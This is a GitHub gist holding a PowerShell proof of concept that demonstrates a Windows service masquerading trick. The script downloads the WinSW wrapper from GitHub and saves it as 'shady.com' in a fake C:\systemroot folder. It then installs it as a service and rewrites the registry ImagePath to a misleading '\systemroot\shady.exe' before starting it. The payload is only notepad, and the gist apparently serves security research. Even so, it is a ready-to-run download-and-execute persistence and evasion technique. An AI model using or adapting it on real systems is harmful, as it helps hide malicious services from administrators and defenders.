-
-
Save KyleHanslovan/60ddaa4c8475b614b5f11cce32e054e2 to your computer and use it in GitHub Desktop.
PoC demoing extra appended ".exe."
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; | |
$TargetDrive = Join-Path $Env:SystemDrive \ | |
$TargetDirName = "systemroot" | |
$TargetDir = Join-Path $TargetDrive $TargetDirName | |
$TargetBinPath = Join-Path $TargetDir "shady.com" | |
$TargetConfigPath = Join-Path $TargetDir "shady.xml" | |
$ConfigContents = "<configuration><id>shady</id><name>shady</name><description>shady</description><executable>notepad.exe</executable></configuration>" | |
New-Item -Path $TargetDrive -Name $TargetDirName -ItemType directory | |
$WebClient = New-Object System.Net.WebClient | |
$WebClient.DownloadFile("https://github.com/kohsuke/winsw/releases/download/winsw-v2.1.2/WinSW.NET4.exe",$TargetBinPath) | |
Out-File -FilePath $TargetConfigPath -InputObject $ConfigContents -Encoding ASCII | |
Invoke-Expression ("{0} install" -f $TargetBinPath) | |
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Services\shady" -Name "ImagePath" -Value "\systemroot\shady.exe" | |
Invoke-Expression "sc.exe start shady" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment